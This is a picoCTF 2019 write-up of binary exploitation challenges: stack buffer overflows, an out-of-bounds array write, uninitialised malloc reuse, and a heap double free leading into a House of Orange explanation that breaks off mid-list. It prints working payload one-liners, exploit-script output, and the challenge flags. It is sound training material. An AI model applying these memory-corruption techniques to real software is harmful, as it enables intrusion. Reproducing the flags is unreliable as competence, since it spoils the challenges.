# HHousen PicoCTF-2019 Writeup

Write-ups for various challenges from the 2019 [picoCTF competition](https://2019game.picoctf.com/).

During the competition period, which was held between September 27, 2018 and October 11, 2019, I scored 13,900 points. Since then I have completed all the challenges and reached the max score of 34,201 points.

Not every challenge has a corresponding writeup. I did not do any writeups for any of the challenges in the "General Skills" category since they were mostly for beginners. I also left out many of the beginner-level challenges in other categories. All of the most difficult challenges with the fewest solves have a writeup.

![PicoCTF Progress Tracker Screenshot](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Fc583f9b44369a77d42dba38da773fb021abb5cc2.png?generation=1619558789526721\&alt=media)


# Binary Exploitation


# L1im1tL355

## Problem

> Just pwn this program and get a flag. Its also found in /problems/l1im1tl355\_3\_d7480b654799978caea481ab65d5bbea on the shell server. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/L1im1tL355/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/L1im1tL355/vuln.c)

## Solution

1. Looking at the [source code](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/L1im1tL355/vuln.c) I notice the `replaceIntegerInArrayAtIndex()` function looks interesting since it is simply a wrapper around the built-in method of changing an element of an array.
2. This program declares an array on the stack, then allows us to write a DWORD to any array index. If we choose an index between `0` and `666/4` (DWORD is 4 bytes long), we'll end up writing to the array. There are no checks on the index value for the array, so we should be able to go out of bounds and write anywhere to memory. We can input the address of the `win()` function as the "integer value you want to put in the array" and for the  "index in which you want to put the value", we can input the offset from the array to the return address of `replaceIntegerInArrayAtIndex()`.
3. Layout of stack ([source](https://tcode2k16.github.io/blog/posts/picoctf-2019-writeup/binary-exploitation/#l1im1tl355)):

   ```
    lower stack address
    replaceIntegerInArrayAtIndex: stack data
    replaceIntegerInArrayAtIndex: saved ebp
    replaceIntegerInArrayAtIndex: return address (-5)
    main: other stack data
    main: array (+0)
    higher stack address
   ```
4. The script bruteforces the offset and finds it to be `-5`.
5. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/L1im1tL355/script.py) `python script.py USER=<username> PASSWORD=<password>`:

   ```
    [*] '/home/<username>/Documents/PicoCTF/Binary Exploitation/L1im1tL355/vuln'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    [+] Connecting to 2019shell1.picoctf.com on port 22: Done
    [*] <username>@2019shell1.picoctf.com:
        Distro    Ubuntu 18.04
        OS:       linux
        Arch:     amd64
        Version:  4.15.0
        ASLR:     Enabled
    [+] Opening new channel: 'pwd': Done
    [+] Receiving all data: Done (14B)
    [*] Closed SSH channel with 2019shell1.picoctf.com
    [*] Working directory: '/tmp/tmp.SHO8IvJw16'
    [+] Opening new channel: 'ln -s /home/<username>/* .': Done
    [+] Receiving all data: Done (0B)
    [*] Closed SSH channel with 2019shell1.picoctf.com
    [*] win address: 0x80485c6
    [+] Starting remote process b'/problems/l1im1tl355_3_d7480b654799978caea481ab65d5bbea/vuln' on 2019shell1.picoctf.com: pid 1163772
    [+] Starting remote process b'/problems/l1im1tl355_3_d7480b654799978caea481ab65d5bbea/vuln' on 2019shell1.picoctf.com: pid 1163776
    [+] Starting remote process b'/problems/l1im1tl355_3_d7480b654799978caea481ab65d5bbea/vuln' on 2019shell1.picoctf.com: pid 1163780
    [+] Starting remote process b'/problems/l1im1tl355_3_d7480b654799978caea481ab65d5bbea/vuln' on 2019shell1.picoctf.com: pid 1163784
    [+] Starting remote process b'/problems/l1im1tl355_3_d7480b654799978caea481ab65d5bbea/vuln' on 2019shell1.picoctf.com: pid 1163788
    [+] Starting remote process b'/problems/l1im1tl355_3_d7480b654799978caea481ab65d5bbea/vuln' on 2019shell1.picoctf.com: pid 1163792
    [*] Offset was -5
    [+] picoCTF{str1nG_CH3353_3fe0db39}
   ```

### Flag

`picoCTF{str1nG_CH3353_3fe0db39}`


# messy-malloc

## Problem

> Can you take advantage of misused malloc calls to leak the secret through this service and get the flag? Connect with nc 2019shell1.picoctf.com 21899. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/messy-malloc/auth/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/messy-malloc/auth.c)

## Solution

1. `nc 2019shell1.picoctf.com 21899`:

   ```
    Commands:
        login - login as a user
        print-flag - print the flag
        logout - log out
        quit - exit the program

    Enter your command:
    [anon]> login
    Please enter the length of your username
    4
    Please enter your username
    test

    Enter your command:
    [tes]> Invalid option
    Commands:
        login - login as a user
        print-flag - print the flag
        logout - log out
        quit - exit the program

    Enter your command:
    [tes]> print-flag
    Incorrect Access Code: ""

    Enter your command:
    [tes]> logout

    Enter your command:
    [anon]> quit
   ```
2. We need to login as a user which has an access code allowing them to print the flag. However, there is no API to set access codes. `user` struct:

   ```cpp
    struct user {
        char *username;
        char access_code[ACCESS_CODE_LEN];
        char *files;
    };
   ```
3. The program uses `malloc` instead of `calloc`. `malloc` allocates memory block of given size (in bytes) and returns a pointer to the beginning of the block. `malloc` doesn’t initialize the allocated memory. `calloc` allocates the memory and also initializes the allocated memory block to zero. Therefore, the memory set in line 73 (`char *username = malloc(username_len+1);`) can be reused. The values stored in the block of memory allocated by `malloc` will persist when `malloc` is called again since `malloc` does not overwrite them. More info about [malloc vs calloc](https://www.geeksforgeeks.org/difference-between-malloc-and-calloc-with-examples/).
4. `malloc` in itself is not dangerous but this program has a vulnerability where it only initializes the `username` field of the `user` `struct`, which means the other members of the `struct` will contain leftover values from whatever the memory was previously used for.
5. Running the program allows us to create a user that has a username with the length of our choice. We can set the length of the username to `sizeof(struct user)`, which is the length of the `user` structure (32 bytes = 8 for username pointer + 16 for size 2 array + 8 for files pointer). We can set this allocated username field as if it were a `user` structure. When we `logout`, the allocation is freed. However, we can log back in and the heap manager will probably provide us with the same buffer we just freed since the requested buffer size is equal to a previously freed buffer size (an optimization to reduce memory fragmentation). This new user will have the "leftover" access code and will be able to access the flag. This is possible because the previous user's username memory was freed (and was the last chunk to be freed), but not cleared.
6. Visual Description:
   1. Allocate the first user:

      ```
       user struct
       char *username: pointer (that points to a "username buffer" with the username)
       char access_code: unknown leftover
       char *files: unknown leftover
      ```
   2. Free first user
   3. Allocate second user (Heap Manager provides "username buffer" as buffer for user struct):

      ```
       struct user (previously: "username buffer")
       char *username: pointer (that points to a newly allocated block of memory containing the new username)
       char access_code: ACCESS_CODE (leftover from "username buffer")
       char *files: bbbbbbbb (leftover from "username buffer")
      ```
7. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/messy-malloc/script.py) `python script.py USER=<username> PASSWORD=<password>`:

   ```
    [*] '~/Documents/PicoCTF/Binary Exploitation/messy-malloc/auth'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
        FORTIFY:  Enabled
    [+] Opening connection to 2019shell1.picoctf.com on port 21899: Done
    [+] picoCTF{g0ttA_cl3aR_y0uR_m4110c3d_m3m0rY_ac0e0e6a}
   ```

### Flag

`picoCTF{g0ttA_cl3aR_y0uR_m4110c3d_m3m0rY_ac0e0e6a}`


# OverFlow 2

## Problem

> Now try overwriting arguments. Can you get the flag from this program? You can find it in /problems/overflow-2\_2\_47d6bbdfb1ccd0d65a76e6cbe0935b0f on the shell server. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/OverFlow%202/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/OverFlow%202/vuln.c)

## Solution

1. Find the offset/padding
   1. You can use the method described in [rop64](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/Binary/%20Exploitation/rop64/README.md) with the `cyclic` and `cyclic_find` or you can use the following
   2. Open vuln in [radare2](https://rada.re/r/) with `r2 ./vuln`
   3. Run `aaaa`
   4. Run `pdf @ sym.vuln` to get `var int local_b8h @ ebp-0xb8`
   5. The `0xb8` is the buffer location so 4 more bytes are needed to get past the "saved ebp register"
   6. So the offset is `0xb8+4`
2. Run `readelf -s vuln` to get the address of `flag`: `0x080485e6`
3. We can use `p32` from pwntools to convert the hex addresses to little endian.&#x20;
4. We need to pad out the second return address with `'a'*4` so that goes next in the payload
5. Now we can add the two function arguments in little endian using `p32`
6. Payload complete: `python2 -c "from pwn import *; print 'a'*(0xb8+4)+p32(0x080485e6)+'a'*4+p32(0xDEADBEEF)+p32(0xC0DED00D)" | ./vuln`

### Flag

`picoCTF{arg5_and_r3turn5ce5cf61a}`


# CanaRy

## Problem

> This time we added a canary to detect buffer overflows. Can you still find a way to retreive the flag from this program located in /problems/canary\_2\_dffbf795b4788666d54a993a5e41d145. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/CanaRy/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/CanaRy/vuln.c)

## Solution

1. `BUF_SIZE` is 32 bytes so offset by `'a'*32` since canary will be next in stack
2. Leak the canary by running the [break-canary.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/CanaRy/break-canary.py) file on the shell server
3. Paste Canary into [bruteforce-pie.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/CanaRy/bruteforce-pie.py) on line 13
4. Offset after canary determined using `cyclic(24)` and `cyclic_find()` with `python2 -c "from pwn import *; print 'a'*32 + 'ex;Y' + cyclic(100)" | ./vuln` locally to get offset as `'a'*16`.
5. Last 1.5 bytes of `display_flag` function determined with `readelf -s vuln`
6. First byte found with gdb by placing a breakpoint at `vuln` and running which got `Breakpoint 1, 0x56622a14 in main ()` and more importantly the first byte `0x56`
7. Loops in hex are used to bruteforce every possible value for the remaining 1.5 bytes and `p32` from `pwntools` is used to convert to little endian
8. Run [bruteforce-pie.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/CanaRy/bruteforce-pie.py) on shell server by pasting `bruteforce_pie` function (after running `from pwn import *`) into python terminal and then running `print bruteforce_pie()`
9. Flag will appear in a few minutes
10. If the flag doesn't appear after running the program then run it again and it will work (the program doesn't check addresses with zeros in them)

### Flag

`picoCTF{cAnAr135_mU5t_b3_r4nd0m!_1df5fde9}`


# NewOverFlow-1

## Problem

> Lets try moving to 64-bit, but don't worry we'll start easy. Overflow the buffer and change the return address to the flag function in this program. You can find it in /problems/newoverflow-1\_3\_e53f871ba121b62d35646880e2577f89 on the shell server. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/NewOverFlow-1/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/NewOverFlow-1/vuln.c)

## Solution

1. Find the offset/padding
   1. You can use the method described in [rop64](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/Binary/%20Exploitation/rop64/README.md) with the `cyclic` and `cyclic_find` or you can use the following
   2. Open vuln in [radare2](https://rada.re/r/) with `r2 ./vuln`
   3. Run `aaaa`
   4. Run `pdf @ sym.vuln` to get `var int local_40h @ rbp-0x40`
   5. The `0x40` is the buffer location so 8 more bytes are needed to get past the "saved ebp register"
   6. So the offset is `0x40+8`
2. Run `readelf -s vuln` to get the address of `main` and `flag`.
3. We can not offset and call the `flag` function directly because that would cause a stack misalignment in 64-bit. So instead we form out payload by doing `padding + main_address + flag_address` instead of just `padding + flag_address` as we would in 32-bit.
4. We can use `p64` from pwntools to convert the hex addresses to little endian.&#x20;
5. Payload complete: `python2 -c "print 'A'*72 + '\xcb\x07@\x00\x00\x00\x00\x00' + 'g\x07@\x00\x00\x00\x00\x00'" | ./vuln`

### Flag

`picoCTF{th4t_w4snt_t00_d1ff3r3nt_r1ghT?_bfd48203}`


# NewOverFlow-2

## Problem

> Okay now lets try mainpulating arguments. program. You can find it in /problems/newoverflow-2\_5\_13f3d3dc09fc09d6d5db8adfa899a05d on the shell server. Source.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/NewOverFlow-2/vuln/README.md)
* [Source](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/NewOverFlow-2/vuln.c)

## Solution

1. The challenge author forgot to remove the `flag` function so this is solvable using the same method as [NewOverFlow-1](/binary-exploitation/newoverflow-1)
2. Find the offset/padding
   1. You can use the method described in [rop64](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/Binary/%20Exploitation/rop64/README.md) with the `cyclic` and `cyclic_find` or you can use the following
   2. Open vuln in [radare2](https://rada.re/r/) with `r2 ./vuln`
   3. Run `aaaa`
   4. Run `pdf @ sym.vuln` to get `var int local_40h @ rbp-0x40`
   5. The `0x40` is the buffer location so 8 more bytes are needed to get past the "saved ebp register"
   6. So the offset is `0x40+8`
3. Run `afl~flag` in [radare2](https://rada.re/r/) to get the address of `flag` and `afl~main` to get the address of `main`.
4. We can not offset and call the `flag` function directly because that would cause a stack misalignment in 64-bit. So instead we form out payload by doing `padding + main_address + flag_address` instead of just `padding + flag_address` as we would in 32-bit.
5. We can use `p64` from pwntools to convert the hex addresses to little endian.&#x20;
6. Payload complete: `python2 -c "from pwn import *; print 'A'*(0x40+8) + p64(0x004008ce) + p64(0x0040084d)" | ./vuln`

### Flag

`picoCTF{r0p_1t_d0nT_st0p_1t_b3358018}`


# sice\_cream

## Problem

> Just pwn this program and get a flag. Connect with nc 2019shell1.picoctf.com 3972. libc.so.6 ld-2.23.so.

* [Program](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/sice_cream/sice_cream/README.md)

## Solution

### Stage 1: Analysis

1. Test program run:

   ```
    Welcome to the Sice Cream Store!
    We have the best sice cream in the world!
    Whats your name?
    > test
    1. Buy sice cream
    2. Eat sice cream
    3. Reintroduce yourself
    4. Exit
    > 1
    How much sice cream do you want?
    > 3
    What flavor?
    > 3
    Here you go!
    1. Buy sice cream
    2. Eat sice cream
    3. Reintroduce yourself
    4. Exit
    > 2
    Which sice cream do you want to eat?
    > 1
    Yum!
    1. Buy sice cream
    2. Eat sice cream
    3. Reintroduce yourself
    4. Exit
    > 3
    What's your name again?
    > t
    Ah, right! How could a forget a name like t
    st
    !
    1. Buy sice cream
    2. Eat sice cream
    3. Reintroduce yourself
    4. Exit
    > 4
    Too hard? ;)
   ```
2. `checksec sice_cream`

   ```
    [*] '~/Documents/PicoCTF/Binary Exploitation/sice_cream/sice_cream'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./'
   ```

   `Full RELRO` means the `GOT` is not writeable, which rules out quite a few attack vectors. Having `PIE` disabled is nice though, and suggests that we might need to use a fixed address of some function or global variable in our exploit.
3. Reverse the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)). `main()` function:

   ```cpp
    void FUN_00400b76(void)

    {
    int iVar1;
    ulong uVar2;
    long in_FS_OFFSET;
    char local_28 [24];
    undefined8 local_10;

    local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
    setvbuf(stdin,(char *)0x0,2,0);
    setvbuf(stdout,(char *)0x0,2,0);
    puts("Welcome to the Sice Cream Store!");
    puts("We have the best sice cream in the world!");
    puts("Whats your name?");
    printf("> ");
    read(0,&DAT_00602040,0x100);
    while( true ) {
        while( true ) {
        while( true ) {
            FUN_004008e7();
            printf("> ");
            read(0,local_28,0x10);
            uVar2 = strtoul(local_28,(char **)0x0,10);
            iVar1 = (int)uVar2;
            if (iVar1 != 2) break;
            FUN_00400a5b();
        }
        if (2 < iVar1) break;
        if (iVar1 != 1) goto LAB_00400cb5;
        FUN_0040091e();
        }
        if (iVar1 != 3) break;
        FUN_00400b24();
    }
    if (iVar1 == 4) {
        puts("Too hard? ;)");
    }
    LAB_00400cb5:
                        /* WARNING: Subroutine does not return */
    exit(0);
    }
   ```

   `reintroduce()` function:

   ```cpp
    void FUN_00400b24(void)

    {
    puts("What\'s your name again?");
    printf("> ");
    read(0,&DAT_00602040,0x100);
    printf("Ah, right! How could a forget a name like %s!\n",&DAT_00602040);
    return;
    }
   ```

   `eat()` function:

   ```cpp
    void FUN_00400a5b(void)

    {
    ulong uVar1;
    long in_FS_OFFSET;
    char local_28 [24];
    long local_10;

    local_10 = *(long *)(in_FS_OFFSET + 0x28);
    puts("Which sice cream do you want to eat?");
    printf("> ");
    read(0,local_28,0x10);
    uVar1 = strtoul(local_28,(char **)0x0,10);
    if (0x13 < (uint)uVar1) {
        puts("Invalid index!");
                        /* WARNING: Subroutine does not return */
        exit(-1);
    }
    free(*(void **)(&DAT_00602140 + (uVar1 & 0xffffffff) * 8));
    puts("Yum!");
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
    }
   ```

   `buy()` function:

   ```cpp
    void FUN_0040091e(void)

    {
    int iVar1;
    ulong uVar2;
    void *pvVar3;
    long in_FS_OFFSET;
    char local_28 [24];
    long local_10;

    local_10 = *(long *)(in_FS_OFFSET + 0x28);
    iVar1 = FUN_004008a7();
    if (iVar1 < 0) {
        puts("Out of space!");
                        /* WARNING: Subroutine does not return */
        exit(-1);
    }
    puts("How much sice cream do you want?");
    printf("> ");
    read(0,local_28,0x10);
    uVar2 = strtoul(local_28,(char **)0x0,10);
    if (0x58 < (uint)uVar2) {
        puts("That\'s too much sice cream!");
                        /* WARNING: Subroutine does not return */
        exit(-1);
    }
    pvVar3 = malloc(uVar2 & 0xffffffff);
    *(void **)(&DAT_00602140 + (long)iVar1 * 8) = pvVar3;
    puts("What flavor?");
    printf("> ");
    read(0,*(void **)(&DAT_00602140 + (long)iVar1 * 8),uVar2 & 0xffffffff);
    puts("Here you go!");
    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
    }
   ```

   `menu()` function:

   ```cpp
    void FUN_004008e7(void)

    {
    puts("1. Buy sice cream");
    puts("2. Eat sice cream");
    puts("3. Reintroduce yourself");
    puts("4. Exit");
    return;
    }
   ```

   `printfile()` function (at address `0x00400cc4`):

   ```cpp
    void FUN_00400cc4(char *param_1)

    {
    int iVar1;
    FILE *__fp;

    __fp = fopen(param_1,"r");
    if (__fp != (FILE *)0x0) {
        while( true ) {
        iVar1 = _IO_getc((_IO_FILE *)__fp);
        if ((char)iVar1 == -1) break;
        putchar((int)(char)iVar1);
        }
    }
    return;
    }
   ```

   Key takeaways from the source code:

   * We are restricted to `buy`ing pointers of fastbin size (maxing out at 0x58).
   * Eating a sice cream `free`s the respective pointer, but does not `NULL` it out. This looks like the beginning of a double free vulnerability. This is similar to "Bug 1" from the "zero\_to\_hero" writeup.
   * Global variable `DAT_00602040` (refereed to as `name`, with address `0x00602040`) contains the user provided name and `DAT_00602140` (address `0x00602140`) is an array of `creams` that `buy()` adds to and eat `free`s.
   * `name` is directly above `creams` in memory.
   * If we `reintroduce()` with a `name` of the full length `256`, we can leak the first pointer in `creams`.

### Stage 2: Leak LIBC (fastbin\_dup\_stack)

1. We can only allocate fastbin size chunks, which will not produce libc pointers. We need to figure out a way to create a smallbin chunk in order to leak libc. Smallbins have a backwards pointer which points to the `main_arena` when the smallbin is at the head of smallbin free list. We can make a fake smallbin chunk since `reintroduce()` gives us full control of `255` bytes (not `256` because of `\n`). However, we need to be able to free this chunk in order to actually see the libc pointers and `free()` is only called on members of the `creams` array. Therefore, we need to put a pointer to our fake smallbin chunk into `creams`.
2. This can be done because we can control `creams` since it is located directly below `name` in memory. While `name` is not vulnerable to an overflow, we can write the header of a fake fastbin chunk into it right above `creams`, thus enabling us to control `creams`.
3. Therefore, we will write the following data into `creams`:

   ```
    [name]
    0x602040:    0x0000000000000000    0x00000000000000c1 <-- fake smallbin chunk header
    0x602050:    0x0000000000000000    0x0000000000000000 <-- fake smallbin chunk data
    0x602060:    0x0000000000000000    0x0000000000000000
    0x602070:    0x0000000000000000    0x0000000000000000
    0x602080:    0x0000000000000000    0x0000000000000000
    0x602090:    0x0000000000000000    0x0000000000000000
    0x6020a0:    0x0000000000000000    0x0000000000000000
    0x6020b0:    0x0000000000000000    0x0000000000000000
    0x6020c0:    0x0000000000000000    0x0000000000000000
    0x6020d0:    0x0000000000000000    0x0000000000000000
    0x6020e0:    0x0000000000000000    0x0000000000000000
    0x6020f0:    0x0000000000000000    0x0000000000000000
    0x602100:    0x00000000000000c1    0x0000000000000031 <-- intermediary chunk header
    0x602110:    0x0000000000000000    0x0000000000000000
    0x602120:    0x0000000000000000    0x0000000000000000
    0x602130:    0x0000000000000000    0x0000000000000041 <-- fake chunk header (above `creams`)
    [creams]
    0x602140:    ...
   ```
4. We can get `malloc` to return the chunk at `0x602130` by abusing the double free vulnerability. We allocate two chunks, A nd B, by executing `buy()`. Then execute `free(A); free(B); free(A)`. The second chunk (chunk B) is necessary to bypass the "double free or corruption (fasttop)" check. The structure of the fastbin for our chosen size now looks like: `head -> A -> B -> A -> tail`. Fastbins are treated as last in, first out (LIFO). We can now poison the forward pointer of chunk A by allocating a chunk of the same size as A and writing our address. Allocating a chunk of the same size as A, will give us the same memory address of A and make the fastbin look like this: `head -> B -> A -> tail`. We write the address of our fake chunk, `0x602130`, to A. Next, we allocate another chunk to remove B from the list: `head -> A -> tail`. The head points to `A`, which we overwrote to the address of our fake chunk header. We now have the ability to write `0x602040` (address of our fake smallbin chunk) into `creams[0]`. More info about the fastbin double free vulnerability at [heap-exploitation.dhavalkapil.com](https://heap-exploitation.dhavalkapil.com/attacks/double_free.html) ([Archive](https://web.archive.org/web/20200611182145/https://heap-exploitation.dhavalkapil.com/attacks/double_free.html)).
5. Now that `creams[0]` points towards our fake smallbin chunk, we can run `eat(0)` to free that chunk, thus placing the chunk in the unsorted bin and writing the location of libc to the backward pointer. If a smallbin is at the head of the list then it will have a backwards pointer which points to the `main_arena`. Therefore, we can leak the libc address by calling `reintroduce(AAAABBBBCCCCDDD)`. We replace the first 16 bytes with non-null characters (since they were null before) because the libc address begins at byte 17. We can now calculate the critical offsets.
6. For more details about this approach visit [Feng's "How to heap?" post](https://blog.fxiao.me/how-to-heap/) ([Archive](https://web.archive.org/web/20200611185539/https://blog.fxiao.me/how-to-heap/)) and [this](https://github.com/shellphish/how2heap/blob/master/glibc_2.25/fastbin_dup_into_stack.c) demo of the "fastbin\_dup\_into\_stack" exploit from [shellphish/how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.25/fastbin_dup_into_stack.c) ([Archive](https://web.archive.org/web/20200611185904/https://github.com/shellphish/how2heap/blob/master/glibc_2.25/fastbin_dup_into_stack.c)).

### Stage 3: House of Orange

Once we have leaked the address of libc, we're still very limited. We don't have a write-what-where of any kind. Just as importantly, we don't have a stack leak. However, this binary uses libc version 2.23 which is vulnerable to the "House of Orange" exploit.

Sources to understand the "House of Orange" exploit:

* [ctf-wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_orange/), mostly talks about "stage 1", which is not that useful for this challenge ([Archive](https://web.archive.org/web/20200510124851/https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/house_of_orange/))
* [shellphish/how2heap house\_of\_orange.c](https://github.com/shellphish/how2heap/blob/529d19c57eea87b5bc40310b362af4f106158c9d/glibc_2.25/house_of_orange.c#L127), specifically phase 2 of the attack on line 127 ([Archive](https://web.archive.org/web/20200611191215/https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c))
* [4ngelboy's blog](https://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html) ([Archive](https://web.archive.org/web/20200611211649/https://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html))
* [Post about the FILE structure](https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/) ([Archive](https://web.archive.org/web/20170709151306/https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/))
* [1ce0ear's post about the House of Orange](https://1ce0ear.github.io/2017/11/26/study-house-of-orange/) ([Archive](https://web.archive.org/web/20200611211841/https://1ce0ear.github.io/2017/11/26/study-house-of-orange/))
* [FSOP (File Stream Oriented Programming) Guide](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/fsop/) ([Archive](https://web.archive.org/web/20200611213152/https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/fsop/))
* [shellphish/how2heap unsorted\_bin\_attack.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c) ([Archive](https://web.archive.org/web/20200612044333/https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c))

This is a complicated exploit, so I recommend reading the above sources since they can probably explain it better than me. Nevertheless, lets go through the process of the "House of Orange" exploit.

1. First we need to understand what a "virtual function table" (vtable for short) is. The "virtual function table" or "virtual method table" is a list of method pointers that each class has. It contains pointers to the virtual methods in the class. Each instance of a class has a pointer to the table, which is used when you call a virtual method from the instance. This is because a call to a virtual method should call the method associated with the class of the actual object, not the class of the reference to the object. More info available in this [StackOverflow answer](https://stackoverflow.com/a/2413515) ([Archive](https://web.archive.org/web/20200611214948/https://stackoverflow.com/questions/2413483/virtual-method-tables/2413515)) and in [pabloariasal's blog post](https://pabloariasal.github.io/2017/06/10/understanding-virtual-tables/) ([Archive](https://web.archive.org/web/20200611214916/https://pabloariasal.github.io/2017/06/10/understanding-virtual-tables/)).
2. Next, we need to understand how it is possible to abuse the `FILE` structure by overwriting the vtable. When attacking a process, one interesting target on the heap is the `FILE` structure used with "stream functions" (`fopen()`, `fread()`, `fclose()`, etc) in glibc. Most of the `FILE` structure is pointers to the various memory buffers used for the stream, flags, etc. What's interesting is that this isn't actually the entire structure. When a new `FILE` structure is allocated and its pointer returned from `fopen()`, glibc has actually allocated an internal structure called `struct _IO_FILE_plus`, which contains `struct _IO_FILE` and a pointer to `struct _IO_jump_t`, which in turn contains a list of pointers for all the functions attached to the `FILE`. This is its vtable, which, just like C++ vtables, is used whenever any stream function is called with the `FILE`. So on the heap, we have:

   ![glibc file vtable diagram](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F6d822ecca0a335684ac0205c9c02d60bd145d1ef.png?generation=1619558784746742\&alt=media)

   This vtable can be used to gain control of execution flow in a program. The method to do this is known as "fake vtable hijacking." The central idea of this process is to implement the vtable of \_IO\_FILE\_plus by pointing the vtable to the memory we control and placing the function pointer in it.

   Vtable hijacking is divided into two types: 1. One is to directly rewrite the function pointer in the vtable, which can be realized by writing at any address. 2. The other is to overwrite the vtable pointer to the memory we control, and then arrange the function pointer in it.

   We will be using the second type.

   More info in [this post about the FILE structure](https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/) ([Archive](https://web.archive.org/web/20170709151306/https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/)), the [ctf-wiki FILE introduction](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction/) ([Archive](https://web.archive.org/web/20200611222008/https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/introduction/)), and the [ctf-wiki page about the fake vtable exploit](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/fake-vtable-exploit) ([Archive](https://web.archive.org/web/20200611222852/https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/fake-vtable-exploit/))
3. Recall from the "zero\_to\_hero" writeup "Unsorted bin" section: Instead of immediately putting newly freed chunks onto the correct bin, the heap manager coalesces it with neighbors, and dumps it onto a general unsorted linked list. During malloc, each item on the unsorted bin is checked to see if it "fits" the request. If it does, malloc can use it immediately. If it does not, malloc then puts the chunk into its corresponding small or large bin.
4. The "House of Orange" exploit relies on a free block in the unsorted bin, which we have. Because of how the attack works, we require that:
   1. The chunk in the unsorted bin is of size 0x60
   2. Its prev\_size field is a valid string to pass as parameter 1 of whatever address you give it.
   3. Its back pointer is set to `target - 0x10` (see below).
